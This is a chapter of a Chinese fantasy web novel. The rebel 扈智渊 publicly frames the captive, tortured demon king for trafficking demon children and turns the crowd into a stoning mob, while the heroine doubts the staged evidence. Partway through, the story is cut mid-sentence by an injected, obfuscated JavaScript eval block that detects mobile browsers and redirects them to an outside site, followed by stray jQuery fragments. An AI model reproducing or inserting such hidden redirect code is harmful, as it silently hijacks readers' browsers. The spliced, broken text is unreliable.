扈智渊的话音刚落,四名身穿兽皮的魁梧大汉拖着一人从台下走了上去。
这四名大汉容貌凶恶,长着是一对黄色兽耳,穿着金黄色带黑色斑纹的兽皮,裸露半个肩膀,露出纠结的肌肉。
他们拖着的这个人,身材高大,体型消瘦。他的身上壁布伤口,不少伤口已经流脓,散发恶臭。他应该是受了重伤,四周无力的垂落,任由嘶鸣大汉拖拽。他耷拉着脑袋任由一头长发散落,脸被散落的头发挡得严严实实。
看不见脸,高台四周大部分人都不知道他是谁。可还是有少部分熟悉他的人,一眼便认了出来。
龙长空在那人被拖出来的一刹那,整个人僵直,他双目圆睁,血色已经将双眼染红,他两只手紧紧握拳,指甲刺破手掌,一滴滴鲜血掉落。
他的身体在颤抖,他呼吸越发急促,他在愤怒,他在压抑,他在努力控制自己的情绪。
他知道那是谁,那是他的恩人。
和龙长空同样的还有不少,他们隐在人群中,在人被拖出来那一刻呼吸加重。
他们知道他被困,被抓,但他们以为他只是被软禁,却没有想到扈智渊这个畜生竟然敢对他用刑。
那可是他们的王啊!
扈智渊狞笑着迎了上去,站到那人是身边,一把抓住那人的头发用力里后拽,迫使那人的脑袋抬起。
随着脑袋抬起,遮住脸的头发也散落到两旁,将一张满是血迹的惨白面孔露了出来。
这一刻,所有人在场的人都知道他是谁了。
“陛下!”
“怎么可能?”
“扈智渊,你竟然造反?”
下面一阵兵荒马乱,大部分妖族全都红了眼睛,他们怒吼着,想要冲到台上来。
那是他们妖族的王,是他们妖族最强者,是他们心中最仰慕的人。
狼王成为妖王已经千年,在这一代妖族心中,他就是神一样的存在。
而如今,他们的神被亵渎,被虐待,这怎么能让他们控制住怒火?
不少妖族已经拿出法宝,前面的妖族开始朝高台上冲。扈智渊带来的人拼命拦着前面的妖族,撕咬着,短时间便出现伤亡。
扈智渊脸上闪过戾气,猛地狠狠拽狼王的头发,狼王控制不住发出一声呻吟。
“谁敢动?”
扈智渊大喊,阴毒的目光扫射下方每一个人,似乎想要将每一个反对他的人都记住。
也许是狼王的呻吟起了作用,也许是扈智渊的暴喝起了作用,下面嘈杂的声音小了,不少人想起妖王还在扈智渊手中,投鼠忌器起来。
扈智渊冷哼一声,“吵什么吵,你们将他当做王,爱戴着,可他眼中可没有你们这些子民。刚刚我说的那个危害妖族的恶魔,就是他,就是你们真心爱戴的王。”
台下立即有人喊道:“你放屁,你在诬陷陛下。”
“没错,他在胡说八道诬陷陛下。”
“对,陛下这么好的人,他重视每一个妖族,绝对不会是他说的那样,他就是在胡说八道。”
也有装作理智的理中客提出异议,“也许,他的一切都是装的呢?伪君子,在人族可有不少。”
“对啊,知人知面不知心,他一切的好也许都是装出来,为了麻痹妖族百姓。”
“你说的没错。”扈智渊朝说话的地方投了一个赞赏的眼神,“他就是个伪君子,他的一切好都是装出来的。他为了自己的私欲不择手段。你们好不知道,你们的好陛下就是这些年妖族丢失幼童的罪魁祸首,他将妖族幼童偷到人族卖,来换取法宝。”
下面立即再次炸开锅,扈智渊的话太多人不信,但也有一些人开始半信半疑。
“你放屁,陛下绝对不会做这种事,你有什么证据?你就是在污蔑。”
扈智渊冷笑,“我污蔑?如果不是掌握了证据,你们以为我敢当众公布吗?”
此话一出,下面鸦雀无声,所有人都震惊地看着扈智渊,他们不敢相信扈智渊的话,但扈智渊说他有证据,他们开始动摇,他们开始怀疑。
“那你拿出证据来!”
“对,拿出证据。”
下面开始叫嚣着拿出证据,虽然还是群情激奋,可不少人脸上已经有了怀疑。
一切都在按照扈智渊预想中走,他满意笑笑,朝身后一挥手,“带证人。”
又上来一名壮汉,押着一名年迈的老妇人。老妇人看起来很老很老了,她佝偻着身子,走起路来颤颤巍巍。嫌弃她走的慢,壮汉一把抓起她的后领,将她拎了起来,三步两步来到台上。
手脚悬空的老妇人微微挣扎一下便没有了动静,任由壮汉拎着她。
壮汉将她放下时,她根本站不稳,一屁股坐到高台上,嘴里哼哼唧唧。
扈智渊轻轻踢了老妇人一脚,“别装死,作为一个妖族,还没那么弱。”
老妇人哼唧两声,艰难地从地上爬起来,拄着一根棍子,佝偻地站好。
台下十分安静,所有人都紧紧盯着台上,想知道到底是什么证据。
扈智渊笑道:“这个老不死的便是贩卖妖族幼崽的黑手,也是你们敬爱的妖王陛下最为信任的侍女。”
下面一片哗然。
“年轻一代也许不知道她,但你们可以问问你们的长辈,是否知道妖王身边有一名得力手下,名为姿栾。”
不少上了岁数的妖族一阵恍然,妖王以前确实身边跟着一名侍女,这名侍女极为受妖王的信任。但后来不知道什么原因,这名侍女不见了踪迹。
算一算,侍女消失有快两百年。
这时,有知情人道:“我记得两百多年前,姿栾犯了大错,背叛了妖王。妖王念在主仆一场的情分,只是将她赶走,并没有多做处罚。”
扈智渊冷笑,“这都是障眼法。妖王想要她去办事,这才找了个借口让她离开。你们想想,妖王最是嫉恶如仇,怎么可能会轻易放过一个坏人?”
下面开始有人不住点头,认同扈智渊的观点。
还有些人则是冷笑,妖王虽然嫉恶如仇,但也最是重情义。姿栾只是背叛妖王,并没有作恶。以妖王重情义的性格,只是赶走她太正常不过。
扈智
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343749|173062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渊不给这些人思考的机会,继续说道:“姿栾离开妖王,接到的任务便是为妖王积累财富。这些年她辗转多地,尝试多种办法,但人族对妖族有天然的排斥,累计财富很难。但一次机会她搭上了贩卖妖兽的人,在妖王授意下,她开始在妖族抓妖兽幼崽,送到人族地盘上贩卖。”
下面妖族群中一声哭喊,“畜生,你还我的孩子。”
一块石头从下面扔了上来,正正好好打在妖王身上。妖王身体一颤,要不是有壮汉拽着,早就倒地。
这一声哭喊似乎打开什么开关,一声又一声的哭骂,一块又一块的石头扔了上来,后来不只是石头,还有各种法宝,下面的人恨不得将妖王碎尸万段。
扈智渊冷眼看着一切,心中越发得意。
一开始四名壮汉还坚持站在台上,后来东西越扔越多,他们也坚持不住,一个个跳下台。
没有他们的支撑,妖王倒在台上,一动不动任由石头法宝砸在他身上,如果不是还能察觉到一丝他的气息,还以为他已经死了。
突然,有人大喊一声,“口说无凭,一切都是你在说,扈智渊在撒谎!”
时间像是在一瞬间定格,还在朝上面扔石头的人也都顿住,朝四周看去,想找出说话的。
这时又有声音响起,“你有什么证据是谎言?”
一开始的声音冷笑一声,“你有什么证据证明是真的。”
两边的狡辩让激愤的人群冷静下来。是啊,一切都是扈智渊在说,他只是带上来一名老妇,讲一个故事,就能当证据了吗?
站在台上的扈智渊脸色一下子沉了下来,他站在台上也没有找到刚刚说话的人。一切都按照计划进行,谁知道出了个搅局的。
他沉着脸大声道:“谁说我没有证据?把证据拿上来。”
再次有人端着一个托盘上来,托盘上放着一个小瓷瓶。
下面的妖族疑惑地看着瓷瓶,不知道这么个瓷瓶怎么成了证据。
扈智渊拿起瓷瓶,拔下瓶塞,往托盘上倒出白色粉末。
“有谁上来查看?这便是能将妖兽幼崽控制住的迷药,是我从妖王宫中找到的。”
立即就有人上台,仔细看了看白色粉末,手指沾上一点往鼻子上一放。这人一个趔趄,好悬从高台上跌下去。
扈智渊一把扶住他,他缓了缓脸色难看道:“没错,就是这个药,我在我儿子丢失的地方闻到过。”他面色狰狞盯着趴在地上的妖王,咬牙道:“畜生,枉我们如此信你,你对得起妖族吗?”
台下的人脸色再次变化,他们看向妖王的目光杀意越来越浓,恨不得现在就冲上去,活撕了他。
扈智渊露出一抹冷笑,还好他早有准备,否则还真的栽了。
龙长空脸色焦急,事情越来越危及,如果真的让这个罪名坐实,妖王将被整个妖族唾弃,再无翻身余地。
沐落瑶站在妖族中,茫然地眨了眨眼睛。她有点没看懂,扈智渊说什么就是什么吗?他说是从妖王宫中搜出来就是从妖王宫中搜出来的吗?不能是栽赃吗?
妖族真好骗。